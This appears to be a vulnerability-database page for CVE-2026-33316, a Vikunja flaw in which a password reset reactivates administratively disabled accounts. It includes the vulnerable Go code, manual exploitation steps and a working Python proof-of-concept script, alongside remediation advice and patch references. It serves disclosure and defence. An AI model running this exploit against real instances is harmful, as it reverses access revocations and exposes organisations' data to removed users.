Python
CVE-2026-33316
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessRequest password reset token via /api/v1/user/password/token
-
ExploitComplete reset via /api/v1/user/password/reset endpoint
-
ExecutionResetPassword() function sets status to StatusActive
-
ImpactDisabled user account reactivated and access restored
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires Vikunja instance with password reset endpoints enabled (/api/v1/user/password/token and /api/v1/user/password/reset). Attacker must be an authenticated user with valid login credentials to request a password reset token. Victim must be a disabled user account. No user interaction required beyond reset completion. |
| Impact | The CVSS score of 8.1 (High severity) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N indicates network-exploitable vulnerability with low attack complexity requiring only low privileges (PR:L), though the attacker must have previously been a legitimate user who was then disabled. The attack is fully automatable as demonstrated by the provided Python PoC script, requiring no user interaction and exploiting unauthenticated endpoints. Real-world risk is significant in environments where account disablement is used as a security control for terminated employees, compromised accounts, or policy violations. The availability of a public PoC and detailed exploitation steps increases practical risk. However, exploitation requires prior knowledge of a valid disabled account email address and access to that email inbox or the reset token, which provides some practical limitation. Patches are available from the vendor (commits 049f4a6 and d8570c6) indicating active remediation. This represents a genuine access control failure with high integrity and confidentiality impact where administrative security decisions can be unilaterally reversed by affected users. |
| Exploit ScenarioDerived | An organization terminates an employee and an administrator disables their Vikunja account to prevent access to project data and task information. The terminated employee navigates to the unauthenticated password reset endpoint, requests a reset token using their known email address, retrieves the token from their still-accessible company email, and completes the password reset process. The vulnerable code automatically reactivates the account to 'Active' status, granting the former employee full access to confidential project information, task assignments, and team communications despite the administrative disablement action. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
Vikunja task management application contains an authentication bypass vulnerability in its password reset logic that allows disabled user accounts to be reactivated without authorization. The ResetPassword() function unconditionally sets user status to 'Active' after password reset completion, enabling disabled users to regain full access by requesting a password reset token and completing the reset process. A working proof-of-concept Python script is publicly available demonstrating automated exploitation of this vulnerability.
RemediationAI
Upgrade Vikunja to a patched version incorporating commits 049f4a6be46f9460bd516f489ef9f569574bc70d and d8570c603da1f26635ce6048d6af85ede827abfb as detailed in the vendor advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767. The patches modify the ResetPassword() function to preserve existing account status for disabled users rather than unconditionally activating them. Until patching is completed, implement compensating controls including monitoring of password reset activity for disabled accounts, implementing additional verification steps before allowing password resets on sensitive accounts, and auditing user status changes in database logs to detect unauthorized reactivations. Consider temporarily disabling password reset functionality via reverse proxy rules if disabled account security is critical to operations.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Vikunja, a Go-based open-source task management application (pkg:go/code.vikunja.io_api). The root cause is classified as CWE-284 (Improper Access Control), specifically in the user_password_reset.go module at line 66 where the ResetPassword() function unconditionally executes 'user.Status = StatusActive' without validating the account's prior state. The flaw stems from an incorrect assumption that password resets only occur for unconfirmed or normally-active accounts, failing to account for administratively-disabled accounts (status = 2). The RequestUserPasswordResetTokenByEmail function compounds the issue by using GetUserWithEmail() which does not filter disabled users, allowing them to initiate the reset flow. The vulnerable code directly updates the database with both new password hash and active status via a two-column update operation, bypassing any authorization checks on account status transitions.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.
Vulnerable Code Snippet
In pkg/user/user_password_reset.go, beginning at line 66:
// Hash the password
user.Password, err = HashPassword(reset.NewPassword)
if err != nil {
return
}
err = removeTokens(s, user, TokenPasswordReset)
if err != nil {
return
}
user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
_, err = s.
Cols("password", "status").
Where("id = ?", user.ID).
Update(user)
if err != nil {
return
}The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a standard user account in Vikunja.
- As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (
status = 2). - Attempt to log in as the disabled user to verify access is blocked (receives
HTTP 412: This account is disabled). - Without authenticating, send a
POSTrequest to/api/v1/user/password/tokenwith the disabled user's email address. - Retrieve the password reset token from the incoming email.
- Send a
POSTrequest to/api/v1/user/password/resetwith the token and a new password. - Log in using the new password. Observe that the login succeeds (
HTTP 200) and the account has been maliciously reactivated.
Automation PoC
import requests
import psycopg2
import time
import secrets
API_URL = "http://localhost:3456/api/v1"
def main():
username = f"testuser_{secrets.token_hex(4)}"
email = f"{username}@example.com"
password = "SuperSecretPassword123!"
print("[1] Registering user...")
requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})
print("[2] Admin disables account (Status = 2)...")
conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
cursor = conn.cursor()
cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
conn.commit()
print("[3] Verifying login is blocked...")
res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
print(f"Login response: {res.status_code} (Should be 412)")
print("[4] Attacker requests password reset...")
requests.post(f"{API_URL}/user/password/token", json={"email": email})
print("[5] Attacker grabs token from email/DB...")
cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
user_id = cursor.fetchone()[0]
cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
token = cursor.fetchone()[0]
print("[6] Attacker submits reset, triggering bug...")
new_password = "HackedPassword123!"
requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})
print("[7] Attacker logs in successfully!")
res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
print(f"Final Login response: {res.status_code} (Should be 200)")
cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
conn.close()
if __name__ == "__main__":
main()Impact
- Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
- Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.
Executive ViewAI
Vikunja task management instances are vulnerable to unauthorized account takeover, allowing attackers to reactivate disabled user accounts and gain full system access without proper authorization. This directly impacts organizations relying on Vikunja for task management by compromising access controls and potentially exposing sensitive project data and business workflows.
Apply vendor patch. If patching cannot be completed immediately, implement the following interim mitigations: disable the password reset functionality at the application level, restrict password reset requests to whitelisted administrator accounts only, implement rate limiting on password reset endpoints, monitor authentication logs for disabled account login attempts, and consider network-level access controls to limit exposure of the Vikunja application.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in Vikunja Task Management Authorization Issues
View all 3Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
GHSA-vq4q-79hh-q767
NVD
CVE.org
EPSS
VulDB
Exploit-DB